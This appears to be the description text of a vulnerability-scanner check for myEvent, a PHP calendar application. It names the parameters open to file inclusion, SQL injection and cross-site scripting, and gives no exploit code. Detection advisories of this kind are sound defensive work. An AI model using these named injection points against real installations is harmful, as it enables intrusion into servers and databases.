"The remote host is running myEvent, a calendar application written in
PHP.

The installed version of myEvent fails to sanitize user input to the
'myevent_path' parameter in several scripts before using it to include
PHP code from other files.  An unauthenticated attacker may be able to
read arbitrary local files or include a file from a remote host that
contains commands which will be executed on the remote host subject to
the privileges of the web server process.

In addition, user input to the 'event_id' parameter in 'addevent.php'
and 'del.php', and to the 'event_desc' parameter in 'addevent.php' is
not properly sanitized before being used in a SQL query, which could
allow an attacker to insert arbitrary SQL statements in the remote
database.  A similar lack of sanitation involving the 'event_desc'
parameter of 'addevent.php' allows for cross-site scripting attacks
against the affected application.

These flaws are exploitable only if PHP's register_globals is enabled." );
